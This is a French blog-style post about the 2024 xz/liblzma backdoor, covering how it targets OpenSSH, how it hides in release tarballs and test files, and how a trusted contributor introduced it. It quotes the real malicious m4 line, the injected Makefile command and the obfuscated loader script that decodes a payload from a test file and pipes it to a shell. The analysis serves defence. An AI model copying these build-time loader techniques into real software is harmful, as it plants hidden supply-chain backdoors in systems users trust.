Suport technique et veille technologique

LinuxFr.org : les journaux  -  Xz (liblzma) compromis

 -  29 mars - 

Sommaire

• La faille
• Le camouflage
• La compromission
• Et maintenant

Bonjour à tous,

La nouvelle que le projet xz (et en particulier liblzma) a été compromis vient de tomber. Donc avant de lire la suite, commencez par vous assurer que vous n'ayez aucune installation de xz version 5.6.0 ou 5.6.1 installée sur vos systèmes pour corriger cette porte dérobée, particulièrement si vous êtes avec un debian ou dérivée. Debian a une version corrigée "5.6.1+really5.4.5-1", Arch Linux une version 5.6.1-2.

Tous les détails de la faille de sécurité sont donnés là : https://www.openwall.com/lists/oss-security/2024/03/29/4, que je vais tenter de résumer avec ce que j'en ai compris.

La faille

Il s'agit d'une faille majeure, qui vise probablement à compromettre un serveurs openssh pour en extraire les clés RSA.

Ce qui est assez rigolo avec cette faille, c'est que openssh n'utilise pas xz. Sauf que Debian a patché openssh pour utiliser libsystemd pour utiliser son système de notification, et que libsystemd dépend de lzma. Toujours la faute à systemd :)

Une fois le binaire compromis chargé simultanément avec openssh, il va modifier à la volée le programme pour en modifier la table des symboles du binaire, et faire pointer la fonction RSA_public_decrypt d'openssh vers le code de la porte dérobée.
Il n'est pas clair ensuite de savoir ce qu'il s'y passe, mais de manière générale, ce n'est pas une fonction que l'on a envie de voir détourner.

Le camouflage

Un aspect remarquable de cette porte dérobée est la façon dont elle est camouflée et tente de rester cachée.

Les sources de xz sont (à peu près) propres, une compilation directement depuis les sources du dépôt git ne contient pas la faille. Mais dans les tarball des versions distribuées, un fichier m4 contient, noyée dans le charabia autoconf, cette ligne :

gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Cette ligne rajoute dans le Makefile cette instruction

sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "     \-_" "     _\-" | xz -d | /bin/bash >/dev/null 2>&1;

Lors de la compilation, le fichier de test bad-3-corrupt_lzma2.xz est décompressé puis son contenu exécuté. Contenu joliment obfusqué :

####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

Le contenu désobfusqué du script est disponible ici. Grosso modo, il s'agit d'une liste de condition (compilation avec gcc, inclusion dans un package deb ou rpm) pour n'activer la faille que dans les cas pertinents et rester le plus discret possible sinon. Une fois activée, du contenu binaire est ajouté lors de la compilation à l'exécutable xz.

L'opération camouflage n'est pas terminée, puisqu'une fois dans son binaire la porte dérobée ne se déclenchera que dans les cas pertinents, par exemple uniquement lorsque argv[0] est mis à /usr/sbin/sshd, avec TERM non utilisé (donc normalement à l'extérieur d'un terminal), ou en l'absence de déboggueurs pour complexifier au maximum la découverte de la faille.

Bref, tout est fait pour minimiser au maximum les chances de découverte de cette porte dérobée : code non présent dans les sources, code camouflé et obfusqué, faille ne se déclenchant que dans certaines conditions bien particulières.

On peut alors se demander comment la faille a-t-elle été découverte, un mois après son déclenchement, ce qui est à la fois beaucoup et peu compte tenu de sa sophistication. Deux problèmes l'ont mise en évidence : le binaire fautif génère des erreurs Valgrind, et l'exécution de openssh contaminé par la faille est presque trois fois plus lente. Suffisamment lent pour qu'un dev de PostgreSQL se motive à se lancer dans l'investigation et à remonter tout ça. Et je lui tire mon chapeau, car la pelote de laine n'a pas dû être facile à dérouler.

La compromission

Nous sommes donc en présence d'une porte dérobée évoluée, incluse dans un projet majeur de l'opensource. Tous les paquets d'Arch Linux étaient par exemple compressés à une époque avec xz. Comment a-t-elle pu arriver ?

Tout simplement par l'un des développeurs du projet : https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0.

Les fichiers binaires à la source de l'injection de code ont été camouflés comme des fichiers de tests déjà compressés (mais aucun test pour les utiliser n'a été rédigé…). Et les fichiers de configs fautifs modifiant la compilation de xz ont été inclus dans des tarballs signés par ce dev.

Il s'agit donc d'une opération au long cours, avec l'inclusion des fichiers binaires comme cheval de Troie quelques mois avant le déclenchement effectif de la faille. Ce contributeur est arrivé il y a deux ans, et a pris dans cet intervalle suffisamment d'importance pour devenir le deuxième contributeur du projet, après l'auteur historique du programme. Pendant ces deux ans, il a écrit des commits assez majeurs, dont un certain nombre ont préparé le terrain techniquement pour le déclenchement de la porte dérobée.

Il peut s'agir d'une compromission assez récente du compte, mais au vu de l'historique, et de son insistance pour inclure les dernières versions de xz dans les distributions, il est plus que probable qu'il s'agisse d'un acteur malveillant. Probablement étatique d'ailleurs compte tenu de la sophistication de l'attaque et de son temps long.

Il est d'ailleurs assez ironique que son dernier commit soit une modification de la politique de sécurité du projet.

Et maintenant

Au delà de l'aspect purement pratique d'une porte dérobée qui n'aura au final pas survécu bien longtemps dans la nature, on peut se demander quel sera l'impact long terme sur l'environnement du libre.

Actuellement, c'est une chasse à l'homme, avec une recherche de tous les commits passés du contributeur malveillant, à la recherche d'autres compromissions dans des projets différents. Je pense que la confiance envers xz est rompue, avec l'ignorance de savoir s'il existe d'autres portes dérobées implémentées pendant ces deux ans d'activité du contributeur malveillant. J'ignore si quelqu'un se dévouera pour se lancer dans un audit de sécurité, mais je ne vois pas par quel autre moyen la confiance pourra revenir.

Enfin, cela démontre à nouveau la force et la faiblesse simultanée du logiciel libre. La faille a pu être identifiée rapidement en remontant la chaîne de compilation, libre et ouverte. Mais d'un autre côté, l'attaque est à mon avis remarquable d'ingénierie sociale, en visant l'un des points faibles du monde libre. Xz est un outil majeur, mais géré depuis 15 ans quasi uniquement par son développeur historique, qui a dû être bien content de voir arriver un nouveau développeur régulier, et lui refiler relativement rapidement des droits d'administration. Et lorsqu'il a eu assez de droits, la porte dérobée a été publiée. On revient toujours sur ce problème de manques de ressources, ce qui laisse la porte ouverte à des failles de sécurité non comblées, ou comme ici à l'implémentation de porte dérobée par des acteurs motivés dans des
programmes non critiques, mais duquel dépendent beaucoup d'autres logiciels.

Et on revient toujours à ce fameux xkcd : https://xkcd.com/2347/.

Commentaires : voir le flux Atom ouvrir dans le navigateur

par Ytterbium